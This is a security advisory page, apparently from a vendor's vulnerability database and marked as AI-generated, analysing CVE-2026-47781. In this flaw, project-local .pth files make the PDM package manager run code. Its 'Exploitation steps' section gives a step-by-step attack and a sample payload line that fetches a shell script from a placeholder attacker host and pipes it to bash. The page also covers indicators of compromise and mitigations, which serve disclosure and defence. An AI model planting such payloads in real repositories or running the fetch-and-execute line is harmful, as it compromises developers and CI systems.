CVE-2026-47781
Python vulnerability analysis and mitigation

Overview

CVE-2026-47781 is a code injection vulnerability in PDM (Python Development Master), a Python package manager, that allows arbitrary code execution when a user runs any PDM command from an attacker-controlled repository checkout. The vulnerability affects PDM versions up to and including 2.26.9, and was first published on May 21, 2026, with the advisory added to the GitHub Advisory Database on June 11, 2026. It carries a CVSS v4.0 base score of 8.4 (High) (GitHub Advisory, PDM Security Advisory).

Technical details

The root cause (CWE-94: Improper Control of Generation of Code) lies in Core.__init__() calling load_plugins() before any CLI command is parsed. load_plugins() invokes _add_project_plugins_library(), which adds the project-local .pdm-plugins directory to Python's path via site.addsitedir(). On CPython, site.addsitedir() automatically processes .pth files in the added directory, and any .pth line beginning with import is executed immediately as Python code. This creates a trust-boundary violation: attacker-controlled files in .pdm-plugins execute before the user has explicitly opted into plugin loading, and even a benign command like pdm --version is sufficient to trigger execution. The affected code is located in src/pdm/core.py at lines 74–82, 310–333, and 335–352. A proof-of-concept demonstrating the issue was included in the advisory (GitHub Advisory, PDM Security Advisory).

Impact

Successful exploitation yields arbitrary Python code execution with the privileges of the user running PDM, enabling credential theft, persistence mechanisms, or workspace tampering. The risk is significantly elevated in CI/CD pipelines, privileged shells, and automation contexts where PDM may be run as root or a service account, potentially enabling privilege escalation. The vulnerability is scoped to the local system (no subsequent system impact), but the confidentiality, integrity, and availability of the vulnerable system are all rated High (GitHub Advisory).

Exploitation steps

  1. Gain repository write access: The attacker obtains the ability to commit files to a repository that uses PDM (e.g., via a compromised contributor account, a malicious fork, or a supply chain attack).
  2. Determine the .pdm-plugins purelib path: Calculate the platform-specific purelib subdirectory path within .pdm-plugins using sysconfig.get_path() for the target Python version and OS.
  3. Create the malicious .pth file: Place a .pth file (e.g., evil.pth) in the computed purelib directory under .pdm-plugins/. The file should contain a line beginning with import followed by arbitrary Python code, such as:
    import os; os.system('curl http://attacker.com/shell.sh | bash')
  4. Commit and distribute: Push the malicious .pdm-plugins directory (including the .pth file) to the repository.
  5. Wait for victim interaction: When a developer or CI/CD pipeline clones or checks out the repository and runs any PDM command (e.g., pdm --version, pdm install), Core.__init__() calls site.addsitedir() on .pdm-plugins, which processes the .pth file and executes the attacker's code before CLI parsing begins.
  6. Achieve objective: The injected code runs with the privileges of the invoking user, enabling reverse shells, credential exfiltration, persistence, or further lateral movement (GitHub Advisory, PDM Security Advisory).

Indicators of compromise

  • File System: Presence of unexpected .pth files within the .pdm-plugins directory tree of a project (e.g., .pdm-plugins/lib/pythonX.Y/site-packages/*.pth); .pth files containing import statements or shell commands rather than simple path entries; unexpected files or scripts created in the project directory or system temp locations after running PDM commands.
  • Process: Unusual child processes spawned by the Python/PDM process (e.g., bash, curl, wget, python, nc) immediately upon PDM invocation; outbound network connections initiated by the PDM process to unknown external hosts.
  • Logs: CI/CD pipeline logs showing unexpected output or side effects during PDM command execution (e.g., before normal PDM output); audit logs recording file creation or network activity correlated with PDM invocations.
  • Network: Unexpected outbound connections from developer workstations or CI runners to external IPs/domains immediately following PDM command execution (GitHub Advisory).

Mitigation and workarounds

Upgrade PDM to version 2.27.0 or later, which moves project plugin installations from .pdm-plugins under the project root to an isolated cache directory, eliminating the trust-boundary issue (PDM Release). A migration fixer is included in 2.27.0 to move existing plugin directories. As interim workarounds: avoid running PDM commands from untrusted or user-supplied repository checkouts, especially with elevated privileges; in CI/CD environments, use isolated or sandboxed execution contexts when processing untrusted repositories; and implement code review processes to detect unexpected .pdm-plugins directory contents in repository commits (GitHub Advisory).

Community reactions

The vulnerability was reported by security researcher xuemian168 and published by PDM maintainer frostming on May 21, 2026. The fix was released the same day as part of PDM 2.27.0, which also included additional hardening measures such as refusing to write project-local config files when the destination is a symlink. No significant broader media coverage or notable community commentary beyond the official advisory has been identified (PDM Security Advisory, PDM Release).

Additional resources


SourceThis report was generated using AI

Related Python vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-50271HIGH7.5
  • Python logoPython
  • ddtrace
NoYesJul 17, 2026
CVE-2026-54559MEDIUM6.9
  • Python logoPython
  • pocketsphinx
NoYesJul 17, 2026
GHSA-mfr4-mq8w-vmg6MEDIUM6.6
  • Python logoPython
  • proot-distro
NoYesJul 17, 2026
CVE-2026-47144MEDIUM5.5
  • JavaScript logoJavaScript
  • shamefile
NoYesJul 20, 2026
CVE-2026-46715MEDIUM5.3
  • Python logoPython
  • flask-security-too
NoYesJul 20, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management